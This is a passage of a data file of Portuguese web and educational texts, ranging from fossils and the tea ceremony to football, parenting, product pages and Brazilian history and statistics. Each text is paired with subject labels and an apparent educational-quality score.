grandes episódios de seca, evaporando gradualmente até desaparecer. À medida que os lagos e charcos diminuiam, os Metoposaurus iam concentrando-se nos últimos resquícios de água, onde acabavam por morrer em grande número, dando assim origem a jazidas com elevadas concentrações de fósseis, ou “bonebeds”, como a que se pode observar na Penina. +No entanto, a melhor forma de conhecer o Metoposaurus algarvensis, é visitar o Museu Municipal de Loulé, onde se encontra exposto um exemplar de um crânio desta espécie única.",original,original,original,original,3,0.6 +"Segundo pesquisa em Britannica, a cerimônia do chá, japonês chadō ou sadō (""caminho do chá"") ou cha-no-yu (""chá de água quente"") é uma instituição honrada pelo tempo no Japão, enraizada nos princípios do Zen Budismo e fundada na reverência do belo na rotina diária da vida. É uma forma estética de acolhimento dos hóspedes, em que tudo é feito de acordo com uma ordem estabelecida. +Arte japonesa: A cerimônia do chá +Talvez o desenvolvimento estético mais calculado e eficaz do período Muromachi tenha sido o surgimento do culto do chá. O ambiente: a cerimônia tem lugar numa casa de chá (cha-shitsu), que idealmente é uma pequena estrutura separada da casa principal, mas que muitas vezes é simplesmente um quarto especial da casa. A escolha dos materiais e a construção do cha-shitsu é feita com muito cuidado, de modo a dar-lhe uma sensação de simplicidade rústica mas refinada. O quarto tem normalmente cerca de 3 metros quadrados ou menos; numa das extremidades há um quarto, chamado tokonoma, no qual se exibe um pergaminho pendurado, um arranjo floral, ou ambos. A sala também contém uma pequena lareira afundada (ro) que é usada nos meses de inverno para aquecer a chaleira; no verão é usada uma braseira portátil. A entrada do cha-shitsu é feita através de uma pequena porta baixa, que foi concebida para sugerir humildade. +A cerimônia do chá consiste em o anfitrião trazer primeiro os utensílios de chá para a sala, oferecendo aos convidados doces especiais, e depois preparar e servir-lhes chá feito de folhas de chá pulverizadas mexidas em água quente. O chá preparado é geralmente fino e espumoso com um sabor ligeiramente adstringente; em certas ocasiões é feito um ""chá pesado"" (koicha) muito mais grosso. A porção de doces e chá pode ser precedida por uma refeição ligeira. Após o chá ser consumido, os convidados são livres para perguntar sobre os vários utensílios, que são posteriormente transportados da sala e da cerimônia concluída. +O consumo ritual do chá, originário da China, foi praticado pela primeira vez no Japão durante o período Kamakura (1192-1333) por monges Zen, que bebiam chá para se manterem acordados durante longas sessões de meditação. Mais tarde tornou-se uma parte ativa do ritual Zen honrando o primeiro patriarca, Bodhidharma (japonês: Daruma). Durante o século XV veio a ser uma reunião de amigos numa atmosfera isolada para beber chá e discutir os méritos estéticos das pinturas, caligrafia e arranjos florais expostos no tokonoma ou muitas vezes para discutir os méritos dos próprios utensílios de chá. +O expoente mais famoso da cerimônia do chá foi Sen Rikyū, um esteta da corte do século 16 do ditador militar Toyotomi Hideyoshi, que codificou a cerimônia em um estilo conhecido como wabi-cha (que significa aproximadamente ""simplicidade"", ""quietude"" e ""ausência de ornamento""), que ainda goza de popularidade no Japão. A preferência dos mestres do chá wabi por objetos simples e aparentemente rústicos para uso na cerimônia do chá levou à produção de utensílios de chá neste estilo. +Sen e outros desenvolvedores da cerimônia do chá enfatizaram as quatro qualidades seguintes: harmonia entre os convidados e os utensílios utilizados; respeito, não apenas entre os participantes, mas também pelos utensílios; limpeza, derivada das práticas de Shintō e exigindo que os participantes lavem as mãos e enxaguem a boca como gestos simbólicos de limpeza antes de entrar no cha-shitsu; e tranquilidade, que é transmitida através do uso longo e cuidadoso de cada artigo da cerimônia do chá.",original,original,original,original,4,0.8 +"No início do jogo-treino, o zagueiro Danilo Silva completou escanteio da direita e abriu o placar para o Internacional +Porto Alegre, RS, 08 - O técnico Odair Hellmann afirmou que as jogadas de bola parada são uma arma importante do Internacional para vencer as partidas no segundo semestre. Foi em uma jogada desse tipo que o time gaúcho venceu o Atibaia por 2 a 1, em jogo-treino neste domingo, no hotel que a delegação está hospedada na cidade do interior de São Paulo. +""O mundo inteiro está ganhando os jogos em bola parada. Estamos vendo isso na Copa do Mundo. Entre 65% e 70% das partidas estão sendo definidas em bola parada. E estamos falando dos jogadores do mais alto nível técnico, que têm dificuldades para construir as jogadas, abrir o placar e criar os gols de bola rolando. A bola parada é uma arma"", discorreu o treinador. +No início do jogo-treino, o zagueiro Danilo Silva completou escanteio da direita e abriu o placar para o Internacional. O segundo gol saiu em jogada pelo lado esquerdo. Juan Alano recebeu dentro da área e chutou colocado. O Atibaia descontou no final, com gol contra do zagueiro Gabriel Silva. +Por outro lado, o lateral-direito Zeca tem trabalhado normalmente. Apesar de ele ter sido aproveitado a maior parte do jogo-treino no meio de campo, o jogador será usado na ala nas partidas oficiais por Odair Hellmann. +O Internacional volta às competições no próximo dia 19 contra o Atlético Paranaense, na Arena da Baixada, em Curitiba, pela 13.ª rodada do Campeonato Brasileiro. Os gaúchos estão na quarta posição, com 22 pontos.",original,original,original,original,1,0.2 +"Você já se perguntou como os escritores conseguem criar histórias tão incríveis, artigos informativos e poemas emocionantes? A resposta está na produção textual, uma habilidade essencial que pode ser desenvolvida por todos! Produzir um texto não é apenas juntar palavras, mas sim organizar ideias, expressar sentimentos e comunicar informações de forma clara e envolvente. Imagine que você precisa contar para um amigo sobre as suas férias. Você não simplesmente joga as palavras ao vento, certo? Você pensa em como começar, quais detalhes são mais importantes e como terminar a história de forma interessante. Isso é produção textual em ação! + +A produção textual envolve algumas etapas importantes. A primeira é a *planejamento*. Antes de começar a escrever, pense sobre o que você quer dizer, para quem você está escrevendo (o público-alvo) e qual é o objetivo do seu texto. Quer informar? Divertir? Convencer? Depois, vem a *organização das ideias*. Anote tudo o que vier à mente sobre o assunto. Não se preocupe em ser perfeito agora, apenas coloque as ideias no papel (ou na tela!). Em seguida, organize essas ideias em uma sequência lógica. Qual informação deve vir primeiro? Qual é a mais importante? Pense em uma estrutura: introdução, desenvolvimento e conclusão. + +A *introdução* serve para apresentar o assunto ao leitor. Imagine que você está convidando alguém para entrar na sua história. Seja criativo e desperte a curiosidade! O *desenvolvimento* é a parte principal do texto, onde você detalha suas ideias, apresenta argumentos e exemplos. Use frases claras e conectivos (como ""além disso"", ""por outro lado"", ""portanto"") para ligar as ideias e deixar o texto mais fluido. Por fim, a *conclusão* é o momento de amarrar as pontas soltas e resumir o que foi dito. Deixe uma mensagem final para o leitor, algo para ele pensar ou refletir. + +Um exemplo prático: imagine que você precisa escrever um texto sobre a importância da reciclagem para o jornal da escola. Na fase de planejamento, você define que o objetivo é conscientizar os colegas sobre a importância da reciclagem. Na fase de organização das ideias, você anota os benefícios da reciclagem para o meio ambiente, os tipos de materiais que podem ser reciclados e como cada um pode contribuir. Na hora de escrever, você pode começar com uma introdução impactante: ""Você sabia que o lixo que produzimos pode ser transformado em algo útil?"". No desenvolvimento, você explica os benefícios da reciclagem e dá exemplos de como reciclar em casa e na escola. Na conclusão, você faz um apelo para que todos se juntem ao movimento da reciclagem. + +Lembre-se que a produção textual é um processo contínuo de aprendizado. Quanto mais você pratica, melhor você fica. Não tenha medo de errar, experimentar e buscar novas formas de se expressar. Leia bastante, observe como os outros escritores constroem seus textos e inspire-se! E aí, pronto para colocar a mão na massa e criar seus próprios textos incríveis? Que tal começar agora mesmo escrevendo sobre o seu livro favorito ou sobre algo que te deixa muito feliz? Use sua criatividade e divirta-se!",Português,Produção textual,anos finais (6º ao 9º ano),"O trecho recebe a pontuação máxima por apresentar um conteúdo altamente relevante e proveitoso para fins educacionais, adequado para o ensino fundamental. O texto possui um estilo claro e consistente, introduzindo o conceito de produção textual de forma didática e com exemplos práticos. As etapas de planejamento, organização, introdução, desenvolvimento e conclusão são bem detalhadas, com sugestões de exercícios e apelo à criatividade. O conteúdo é coerente, focado e valioso para um aprendizado estruturado.",5,1.0 +"O Babywearing acelera e aumenta a conexão. ‘Vestir’ seu bebê pode estimular a liberação de hormônios ‘maternais’. Isto pode ser especialmente importante para pais e bebês que forem temporariamente separados ou que tiveram um início difícil (prematuros, por exemplo). Pais que vestem seus bebês aprendem a ler e responder os sinais deles mais facilmente, e tem uma sensação de competência e confiança maiores. +Bebês que são vestidos choram e reclamam menos, são mais felizes, gerando famílias mais felizes. Isto se dá devido ao fato de o babywearing ajudar na regulação do equilíbrio do bebê. Formas antigas de acalmar o bebê também atuam no mesmo sistema, tais como andar com o bebê no colo, ninar, e sacudir o bebê de leve. Novamente, levar o recém nascido a uma experiência semelhante à que viveu pelos nove meses que esteve no útero materno permite que se sintam seguros, reduzindo assim o choro. Por vezes, não importa o que façamos, os bebês choram – vestir o bebê é como dizer para ele “você não está sozinho, eu estou aqui”. +Bebês que choram e reclamam tem menos energia para gastar sendo alertas, tem menos energia para se integrar perfeitamente com o ambiente e aprender. Bebês que são vestidos, tem a oportunidade de experimentar de primeira mão o mundo de seus pais; constantemente aprendendo sobre a vida e seu próprio mundo. Esta experiência ajuda no desenvolvimento da fala, do intelecto, e do desenvolvimento motor. Bebês que participam da paternidade dedicada (attachment-parenting) realmente tendem a se desenvolver mais rapidamente, talvez pelo beneficio que a proximidade física com os pais gera no sistema nervosa central e também porque eles gastam menos energia, por não se estressarem tanto e não chorarem tanto. O Babywearing também propicia o crescimento físico, pois promove a produção de hormônios e enzimas que facilitam o crescimento, e porque gastando menos energia com choro, sobra mais energia para o crescimento! Sem esquecer ainda que os experts alertam sempre para os efeitos negativos para a saúde de bebês que são deixados em cadeirinhas e carrinhos por longos períodos de tempo, os carregadores são a resposta perfeita para pais ocupados. +A incidência de depressão pós parto é menos comum em mulheres que praticam o babywearing, devido à conexão hormonal e também devido ao choro reduzido dos bebês que são ‘vestidos’ ser um fator redutor do stress pós parto. +Bem Estar da Família +O Babywearing pode ajudar na harmonia entre irmãos, pois permite aos pais interagirem mais com os irmãos mais velhos enquanto estão com o bebê no carregador, já que suas mãos estão livres para atender às outras crianças. Isto reduz o ciúme entre irmãos. +As pesquisas mostram constantemente que bebês e crianças que são ‘vestidas’ pelos pais tendem a ser mais cooperativas, sensíveis, positivas, seguras, calmas, confiáveis, carinhosas, flexíveis, simpáticas; e socialmente, elas aprendem mais facilmente a dividir e a amar aos outros. +http://bbbag.blogspot.com",original,original,original,original,3,0.6 +"melhorar autoestima – Canal da Noiva +Como melhorar a Autoestima em 10 passos +Problemas com a autoestima são praticamente uma epidemia do nosso século. Somos bombardeados desde crianças com padrões altíssimos de beleza, comportamento, estilo de vida e a exigência de uma perfeição inatingível é constante. +Tudo isso atinge muito mais as mulheres e isso é inegável. As críticas, rejeições, imposição de culpa, humilhações, etc, vão minando aos poucos a autoestima e autoconfiança das meninas que se tornam mulheres inseguranças, frustradas e carentes. +A baixa autoestima pode levar a doenças mais graves como ansiedade e depressão e também se manifesta em sentimentos e comportamentos como a necessidade de aprovação, submissão a relacionamentos abusivos e tóxicos, tristeza, perfeccionismo, medo, insegurança, super exigência consigo mesma, um elevado crítico interno, dentro outros. +As crenças limitantes que se formam são inúmeras e muito poderosas: “não consigo”, “não sou bonita”, “ninguém gosta de mim”, “não sou capaz”, “faço tudo errado”, “não mereço…”. +Você se identificou com algum desses pensamentos? Tende a ter um posicionamento muito negativo com relação a sua pessoa e a sua vida? Sente-se infeliz com sua aparência ou com o seu jeito de ser? +Se a sua “voz interior” é muito crítica e negativa e acaba te fazendo mal, muito provavelmente você tem uma baixa autoestima. E as consequências disso são atitudes negativas que atraem mais dificuldades para a sua própria vida. A baixa autoestima é um círculo vicioso muito prejudicial. Por isso, é muito importante identificarmos essa situação e fazermos algo a respeito o quanto antes! +Como melhorar a autoestima em alguns passos: +O primeiro passo é a consciência da baixa autoestima e a vontade de melhorar. Vale a pena reforçar que se a sua motivação para agir estiver muito pequena, pode ser que você esteja em um quadro depressivo ou ansioso e deve buscar ajuda. +Em segundo lugar, é fundamental identificar a fonte da baixa autoestima. Anote seus pensamentos, identifique um padrão. Reflita e tente recordar de alguma situação específica, comentário ou pessoas que deram início a esse sentimento. +Comece a anular o seu crítico interno com pensamentos conscientes e positivos! Para cada “eu não vou conseguir”, que venha involuntariamente, repita 3 vezes “eu vou conseguir, sim!” +Liste todas as suas qualidades ou faça um diário positivo de suas conquistas e vitórias, pensamentos positivos e elogios. Escrever todos os dias algo de bom sobre você mesma vai ajudar a internalizar esse sentimento. Foque em anular aquilo que seu crítico interno mais aponta. Coloque essa lista em algum lugar visível e leia sempre que puder. +Eu vou me classificar – Eu sou a melhor! +Peça para que pessoas próximas e queridas escrevam suas 3 principais qualidades na opinião delas. Você vai se surpreender com atributos que você nem tinha se dado conta que tinha. +Você é incrível! Você é linda! Você é inteligente! +Use frases assertivas no seu dia a dia. Descreva antes tudo aquilo que for fazer, por exemplo: “vou levantar agora”, “vou escovar os dentes”, “vou colocar uma roupa que gosto”. O importante é você sempre realmente fazer aquilo que você pensar. Sua mente vai entender que você é capaz de realizar tudo aquilo a que se propuser. +Estabeleça metas realizáveis e cumpra! A sensação de dever cumprido e de produtividade vai gerar um bem estar tremendo! Além disso, use essas metas para trazer mais positividade e coisas boas para sua vida. Determine, por exemplo, que você vai ser mais saudável comendo uma fruta por dia, ou que vai elogiar um amigo por semana. +Autoestima elevada e autoconfiança. “Eu consigo! Eu sou poderosa” +Aceite o fato de que somos imperfeitos. Crie um mantra para situações que não sejam tão agradáveis como “tudo bem, continuo sendo uma pessoa boa”, “não sou perfeita, ninguém é, mas vou continuar trabalhando para ser uma pessoa melhor”. +Eu sou boa o suficiente. Eu sou inteligente +Adote um estilo de vida mais positivo. Fa...",original,original,original,original,2,0.4 +"Buscar Buscar Todo o SiteCasaCozinhaRelógiosCelulares e TelefonesLifeStyleViva Smart NutritionFitnessHobby e LazerMassagem e Bem-EstarBelezaEletroportáteisUtilidades DomésticasModeladores CorporaisBebêsPetsLivrosColchão e SonoEletrodomésticosAirfryerPanelas e FrigideirasNutriçãoAcessórios AutomotivosTecnologiaMóveisCasa Conectada +Polishopcomvc +Hobby e Lazer +Ferramentas +INFORMAÇÕES SOBRE SEGUROS +A CONTRATAÇÃO DE SEGURO É OPCIONAL, sendo possível a desistência do contrato em até 7 dias corridos contados da data da emissão do bilhete de seguro com a devolução integral do valor pago. +É PROIBIDO CONDICIONAR O DESCONTO NO PREÇO DO BEM A AQUISIÇÃO DO SEGURO +A comercialização do seguro é fiscalizada pela SUSEP (Superintendência de Seguros Privados) www.susep.gov.br. Telefone: 0800 021 8484. +Polishop é um representante de seguros da Zurich Minas Brasil Seguros S.A., CNPJ: 17.197.385/0001-21, e está autorizada a comercializar o Seguro de Garantia Estendida Original (Processo SUSEP: 15414.900523/2014-77) e o Seguro de Compra Protegida (Processo SUSEP: 15414.900970/2014-26). O registro deste plano de Seguro na SUSEP não implica, por parte da Autarquia, incentivo ou recomendação à sua comercialização. +Para conhecer na íntegra as condições e exclusões veja as condições gerais do Garantia Estendida Original e Seguro de Compra Protegida. +Informações Zurich Seguros: +Fale Conosco Ouvidoria: www.zurichseguros.com.br | 0800 770 1061, de segunda a sexta-feira, das 8h30 às 17h (exceto feriados) +Central de Serviços do seguro e Sinistro: 0800 889 1035 +Serviço de Atendimento ao Cliente: SAC 0800 073 7900 | Horário de Funcionamento das Centrais: De segunda a sexta, das 8h às 20h +Atendimento a Deficientes Auditivos e de Fala: 0800 275 8585 +Endereço Zurich: Avenida Getúlio Vargas, 1.420, 5o andar - Funcionários - Belo Horizonte/MG - CEP: 30.112-021 +Ainda tem dúvidas? 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E ao mesmo tempo é poderoso para encher os pneus do seu carro +com total facilidade. +Você pode selecionar a quantidade de ar que deseja e graças ao seu controle digital, Air Hawk para automaticamente quando atinge a pressão correta dos pneus. +Para você ter ainda mais praticidade, Air Hawk vem com três bocais para você usar em bola de futebol, basquete, vôlei, boias, infláveis e pneus de bicicletas. E tudo isso",original,original,original,original,2,0.4 +"Vale a pena pagar mais de 1000 Euros pelo Huawei Mate 20 Pro? - Leak +Caminhamos a passos largos para 16 de Outubro, a data de oficialização do Huawei Mate 20 Pro, um equipamento que pode custar mais de 1000 Euros em todo o mundo, inclusive Portugal. Vale a pena? +Mas quais as razões que levam a este preço elevado? +Quando falamos na linha Mate falamos sempre de equipamentos de topo com tecnologias inovadoras. De facto, marcam a estreia de algumas tecnologias e especialmente chipsets que depois chegam a outras linhas da marca. +A aposta deste ano concentra-se em quatro coisas essenciais: +O novo chipset da Huawei +As novas câmaras com tecnologias inovadoras +Uma bateria ainda mais potente com uma nova tecnologia de carregamento. +Kirin 980: O novo chipset da Huawei que dá vida ao Mate 20 Pro +O Kirin 980 é o primeiro processador baseado no processo de fabrico de 7nm! Existem mais de 6.9 mil milhões de transistores por centímetro quadrado, o que é sem qualquer dúvida um feito impressionante! Neste pequeno chipset existe um novo CPU, GPU e ainda uma NPU melhorada, entre outros componentes. +Em suma, o Kirin 980 é muito mais poderoso e eficiente do que a geração passada da Huawei. +Ao nível do desmpenho, o novo Kirin 980 conta com os mais recentes núcleos de alta performance da ARM, os Cortex-A76! Em paralelo, também conta com 4 núcleos Cortex-A55 de baixo consumo energético, para tarefas menos pesadas. Visto que o ‘velhinho’ Kirin 970 conta com núcleos de alta performance Cortex-A73, este é o primeiro processador da Huawei capaz de utilizar a tecnologia ‘DynamIQ’ da ARM! Assim consegue utilizar todos os 8 núcleos num potentíssimo cluster. +Escusado será dizer que com tudo isto o novo Mate 20 terá um excelente desempenho! +É preciso também mencionar que o Kirin 980 conta com o novo GPU topo de gama da ARM. O Mali-G76, que deverá contar com um aumento de performance na ordem dos 46%, bem como uns impressionantes 178% de aumento na eficiência energética. +As câmaras: embora triplas têm uma configuração diferente da que encontramos no Huawei P20 Pro +A configuração de câmara tripla supostamente vai abrir mão da objetiva telefoto que estava presente na configuração do Huawei P20. Ao invés disto teremos uma lente ultra grande-angular. Lembramos que a configuração do P20 Pro tem uma lente telefoto de 8 megapixéis, outra RGB de 40 e outra monocromática de 20. +A câmara terá uma capacidade inteligente de Zoom apoiada por inteligência artificial. Não é a primeira vez que ouvimos falar disto, até porque já tinha havido uma fuga de informação neste sentido. +Ao nível das câmaras na parte frontal, haverá um sensor principal de 24 megapixéis no Mate 20 Pro. Destaca-se ainda o reconhecimento facial 3D (que deverá funcionar em meio segundo). Para além disso teremos ainda um sensor de impressões digitais no ecrã. +Ao nível das câmaras queremos dizer ainda que os utilizadores vão poder capturar vídeo com um efeito bokeh artificial que também pode ser utilizado nas fotografias. +Bateria: Alto-desempenho com uma nova tecnologia de carregamento +A bateria de 4,200mAh vai carregar 70% em apenas 30 minutos, graças ao SuperCharge 2.0. Isto é uma melhoria de 20% comparativamente ao Mate 10. Destaca-se também a existência de um carregador sem fios de 15W no Mate 20 e Mate 20 Pro. +Ou seja, olhando para tudo o que revelámos nas linhas anteriores, é fácil perceberemos que o Mate 20 Pro será eventualmente um dos equipamentos mais inovadores de sempre. Não é que o Mate 10 Pro não o tenha sido com a introdução da inteligência artificial aplicada à câmara e não só. +No entanto, olhando para o bolo todo, percebemos que este tem ainda mais motivos para brilhar e como tal justificar um investimento na ordem dos 1000 Euros. +A versão mais cara terá 8GB de RAM e uma capacidade de armazenamento de 512GB, o que é sem dúvida fantástico.",original,original,original,original,2,0.4 +"Dia internacional do Leite - Notícia - Resfriadores Tropical - Tecnologia na medida certa +No dia 24 de junho todos os países do mundo celebram o alimento considerado um dos mais nobres, o Leite. Consumido desde os primeiros meses de vida esse alimento está presente nas diferentes fases da vida do homem. +O leite tem grande importância na alimentação do ser humano, por isso tem uma data especial no calendário de comemorações. Ocupa lugar de destaque quando o assunto é nutrição por ser rico em proteínas, carboidratos, gorduras, sais minerais e vitaminas. O cálcio, responsável pela formação dos ossos, é o mineral com grande presença no leite. +Consumir leite faz parte da rotina das pessoas. Saiba algumas curiosidades sobre esse alimento tão importante: +- Vacas não produzem leite somente durante o período de amamentação. Sua lactação começa com o nascimento do bezerro, mas continua após o desmame, estimulada pela ordenha mecânica e manual. +- Análises históricas revelam que o consumo de leite de vaca, pelo homem, tenha começado há 11.000 anos, com a domesticação dos primeiros animais. +- O consumo de leite quente antes de dormir auxilia no sono. Isso porque o leite contém cálcio que estimula o relaxamento e tripofano, que é convertido pelo nosso organismo em serotonina, que também ajuda a adormecer. +- Leite é um potencial hidratante. Foi descoberto recentemente que o consumo de leite após os exercícios pode ter efeitos positivos na regeneração e construção dos músculos e hidratação. +- O leite em pó é resultado da “secagem” do leite de vaca. Para isso, o líquido passa por processos que fazem com que a água evapore e ele se transforme no que conhecemos como leite em pó.",original,original,original,original,4,0.8 +"Lembro-me de ter questionado o que se poderia achar de fascinante num Deserto?!… no meu imaginário persistia a ideia, de uma extensão enorme de areia partilhada por homens “primitivos”, com vestes longas, rostos ressequidos, cavalgando sobre uns animais desengonçados e com umas bossas… enfim, uns “pobres – diabos”!… +No ano passado, mais concretamente em Setembro de 2003, tive oportunidade de integrar uma expedição de um grupo de amigos das Grandes Expedições do Fórum – TT, cujo destino era a Mauritânia! +Os meses que nos separavam da partida, curiosamente voaram…entre formalidades de vistos, alterações nas viaturas, consultas de prevenção à Malária (não fossem aqueles insectos, a que damos o nome de Mosquitos, fazerem das suas…), pertenciam ao passado. +Quando me apercebi, já estava do outro lado do estreito. O ar enchia-se de uma tagarelice incessante, música, risos… emanava uma atmosfera de mistério, fumo de fritar que pairava no ar, como se fosse nevoeiro…mercados estreitos, escuros, multidões densas que nos impossibilitavam a aproximação aos comerciantes…mulheres berberes envolvidas em lenços coloridos tapando parte do rosto, deixando apenas os olhos de fora…sentia-me embriagada, por tanta beleza. Esforçava-me para fotografar visualmente tudo o que me rodeava… não havia palavras para exprimir o que sentia. +No entanto no meio de tanto êxtase, as palavras de “Théodore Monod” (1), pareciam-me estranhas!…face a tanto fascínio, como é que poderia haver algo que nos apaixonasse ainda mais?!….repetia inúmeras vezes as suas palavras “apaixonamo-nos pelo deserto”, procurando encontrar algum significado. +A expedição decorria normalmente. Passámos Marrocos, Sahara Ocidental e eis que finalmente estávamos na Mauritânia (“terra dos Mouros”, em latim)!…Este país do noroeste da África é o único controlado por povos tradicionalmente nómadas. Grande parte da sua área ( 1 030 700 Km ), é ocupada pelo deserto do Sahara. +O primeiro contacto foi de desconsolo total. Não havia nada!…a fronteira não passava de um amontoado de lata, onde alguns homens mal trajados tentavam impor a autoridade local. É o que têm!… +O meu coração batia aceleradamente à medida que me embrenhava nas entranhas de um País que não tem mais do que 3 000 000 habitantes, dos quais 400 000 são nómadas. +Continuámos a avançar em território Mauritano. Parávamos ao meio dia sob a protecção das acácias, almoçávamos e permanecíamos ali durante algum tempo. Depois, lá prosseguíamos contemplando a variedade e beleza da paisagem Africana!… +Crianças permaneciam à beira da estrada, vestidas com trapos e de aparência desesperada e perdida. Vi homens silenciosos a observar-nos, sem se mexerem. Vi mulheres com crianças às costas, no meio do nada. Passámos por aldeias, deixando homens, mulheres e crianças a sufocar na nossa poeira… +O riso das crianças, os brinquedos, as vestes coloridas a contrastar com os amontoados de lixo!…sentia-me exausta pelo calor e pelos solavancos contínuos daqueles trilhos de terra. +Finalmente Zouerat!…o Hotel era fantástico e vinha preencher as privações dos últimos dias. +Jantámos, conversámos e a boa disposição acompanhou-nos até bastante tarde. O dia seguinte não seria mais um…seria o principio da atravessia do deserto do Maqteir! +Acordei!…finalmente o grande dia…enchemos depósitos, água e combustível, acautelámos provisões e ligamos os motores, fizemos – nos à pista. +Andámos e andámos, mas parecia que nunca lá chegávamos… O céu estendia-se num enorme círculo sobre nós; não havia limites para ele nem limites para o calor…as pistas eram irregulares… areia fofa alternada com pedra…a ansiedade aumentava! +Desligámos o motor dos carros e o silêncio cercou-nos como o sono. O deserto estava silencioso, ouvindo-se apenas o vento vazio. +É impressionante!… consegue avistar-se tão longe que parece levar uma eternidade passar por qualquer coisa… a sua solidão!… +Ziguezagueávamos, tentando evitar os montículos de erva camelo onde saltam as rodas, fazendo bater e gemer os amort...",original,original,original,original,2,0.4 +"Como REBOCAR AS QUINAS da parede - Passo-a-passo! _ Meia Colher +Inicio » Construção Civil , dicas , pedreiro , reboco , Vídeos » Como REBOCAR AS QUINAS da parede - Passo-a-passo! +Como REBOCAR AS QUINAS da parede - Passo-a-passo! +Aprenda como rebocar as quinas da parede corretamente para que fiquem com um ótimo acabamento . +Muitas pessoas, na hora de rebocar a parede, tem dificuldade de fazer as quinas. Alguns fazem fora de prumo, fora de esquadro, acabam se enrolando e fica um serviço mal feito. Pois, não é simplesmente colocar a régua, jogar a massa e alisar, tem toda uma técnica para que o serviço fique de qualidade. +Portanto, o experiente pedreiro do vídeo abaixo mostra uma ótima dica para acabar com esse problema de quina torna e mal acabada. +Agora, acompanhe o passo-a-passo muito bem explicado e aprenda todo o processo desde o início para dar mais qualidade no seu serviço. +Veja também: Como fazer a massa para reboco. +azef serviços quality 9 de julho de 2016 19:59",original,original,original,original,2,0.4 +"Você já parou para pensar por que comemoramos o dia 15 de novembro? Essa data marca a Proclamação da República no Brasil, um momento super importante na nossa história! Mas o que isso realmente significa e como afetou a vida das pessoas daquela época? Vamos descobrir juntos! + +Antes de 1889, o Brasil era uma monarquia, governada por um imperador, Dom Pedro II. Imagine um país onde as decisões mais importantes eram tomadas por uma única pessoa! Muitas pessoas, principalmente os militares e alguns fazendeiros, não concordavam com isso. Eles queriam um Brasil diferente, onde o poder fosse dividido e as pessoas pudessem participar mais das decisões. + +Então, no dia 15 de novembro de 1889, um grupo de militares, liderados pelo Marechal Deodoro da Fonseca, proclamou a República. Dom Pedro II e sua família foram obrigados a deixar o país e o Brasil deixou de ser uma monarquia para se tornar uma república. Mas, o que mudou na prática? + +De imediato, para muita gente, a vida não mudou tanto. A maioria da população continuava trabalhando na agricultura e as desigualdades sociais ainda eram muito grandes. Mas a Proclamação da República abriu espaço para novas ideias e debates sobre como o Brasil deveria ser. Começaram a surgir movimentos em defesa dos direitos dos trabalhadores, da igualdade entre as pessoas e da participação política de todos. + +Pense, por exemplo, nas eleições. Na monarquia, pouquíssimas pessoas podiam votar. Com a República, o direito ao voto foi ampliado, mesmo que ainda não fosse para todos. As pessoas começaram a ter mais voz na escolha de seus representantes. + +A Proclamação da República foi um passo importante para a construção de um Brasil mais democrático e justo. Mesmo que ainda tenhamos muitos desafios a superar, é importante conhecermos nossa história para entendermos o presente e construirmos um futuro melhor. Que tal pesquisar mais sobre os personagens dessa época e descobrir como suas ações influenciaram o Brasil de hoje? Como você acha que a vida seria diferente se ainda vivêssemos em uma monarquia? Pense nisso!",História,História do Brasil,anos finais (6º ao 9º ano),"O trecho apresenta informações básicas sobre a Proclamação da República, contextualizando o evento e seus impactos iniciais. Utiliza linguagem acessível, tornando-o adequado para o ensino fundamental, incentivando a reflexão e a pesquisa adicional. Apresenta elementos do currículo de história de forma coerente e estimula o pensamento crítico sobre o passado e o presente do Brasil. Por tais motivos, atribuo nota máxima.",5,1.0 +"Prefeitura de Teresina suspende pagamento de IPTU +Em razão da crise gerada pela pandemia do coronavírus ( covid 19) e diante das consequências econômicas e sociais que o necessário isolamento social nos impõe, a Prefeitura de Teresina está suspendendo o prazo de pagamento do IPTU. +No entanto, diante das imensas dificuldades que a crise tem trazido para todos, em especial para as finanças públicas e pensando no bem estar e continuidade dos serviços e ações emergenciais para a cidade e em especial para manutenção das atividades de saúde pública neste momento de extrema gravidade, a Prefeitura ressalta e pede a colaboração e compreensão social e solidária da população no sentido de que quem puder pagar no prazo estipulado seu IPTU que faça o pagamento, pois este gesto ajudará muito para superarmos esta crise. +Por outro lado, cumpre deixar claro que aqueles que não puderem pagar o IPTU neste momento, a Prefeitura irá estabelecer um novo prazo de vencimento tão logo tenhamos passado estas dificuldades do momento., sem que haja qualquer prejuízo para o contribuinte. +“ o prazo de pagamento do IPTU está suspenso, mas se você puder , colabore com a cidade e pague agora”.",original,original,original,original,1,0.2 +Página inicial > Financiamento Municipal > Merenda Escolar > Perguntas Frequentes > Merenda Escolar > Quais municípios são beneficiados com verbas do Pnae?,original,original,original,original,2,0.4 +"os dias de hoje marcam definitivamente a história do STF., tudo daqui para frente será o antes e o depois do julgamento do mensalão; penso que se prosperar a decisão de novo julgamento, o STF., cairá no maior descrédito já visto na história de uma nação, e o ruím disso é que se perdendo a credibilidade de uma Instituição como essa as seguranças jurídicas serão abaladas para sempre e a fé na Justiça jamais será a mesma e as consequencias imprivisíveis.",original,original,original,original,1,0.2 +"Enquanto ela rejuvenesce com sexo 28 anos, bela mulher planeja...",original,original,original,original,0,0.0 +"Aumenta número de crianças com certidão de nascimento, dez anos após a lei de gratuidade +25/11/2009 +Em dez anos, o percentual de subregistro de nascimentos 1 caiu de 27,1%, em 1998, para 8,9 %, em 2008, ou seja em cada 100 nascimentos, cerca de 27 crianças não eram registradas em 1998, caindo para aproximadamente 9 crianças, em 2008. O aumento no número de crianças com certidão de nascimento decorreu de vários fatores, como a implemetação da Lei da Gratuidade do Registro Civil, em 1998, campanhas de sensibilização e a exigência do registro de nascimento para obtenção de benefícios sociais. +Mesmo assim, estima-se que 248 mil crianças deixaram de ser registradas em 2008. Quanto ao subregistro de óbitos, embora tenha caído de 17,7% para 11%, no período 1998-2008, é outro problema das estatísticas vitais do país, pois são raras as situações em que o óbito ocorrido e não registrado no ano venha a ser feito em anos posteriores. +No Nordeste, o subregistro de óbitos chegou a 27,4%, em 2008. Quanto aos óbitos por causas violentas 2 , os estados com as maiores proporções foram Amapá (23,7%), no caso dos homens, e Rondônia (8,4%), no das mulheres. O total de casamentos registrados no Brasil aumentou 4,5% entre 2007 e 2008 e observou-se que o número de uniões formais cresceu entre os grupos etários mais velhos, nos últimos dez anos. Em 2008, o número de dissoluções de casamentos chegou a 290.963, somando as 102.873 separações e os 188.090 divórcios. +Outra tendência observada foi o crescimento no número de recasamentos, que passou de 10,3%, em 1998, para 17,1%, em 2008, do total das uniões formalizadas. O Rio de Janeiro liderou o percentual de recasamentos, em 2008, com 22,7%. Estas e outras informações integram as Estatísticas do Registro Civil, que refletem a totalidade dos registros de nascimentos, óbitos, casamentos, 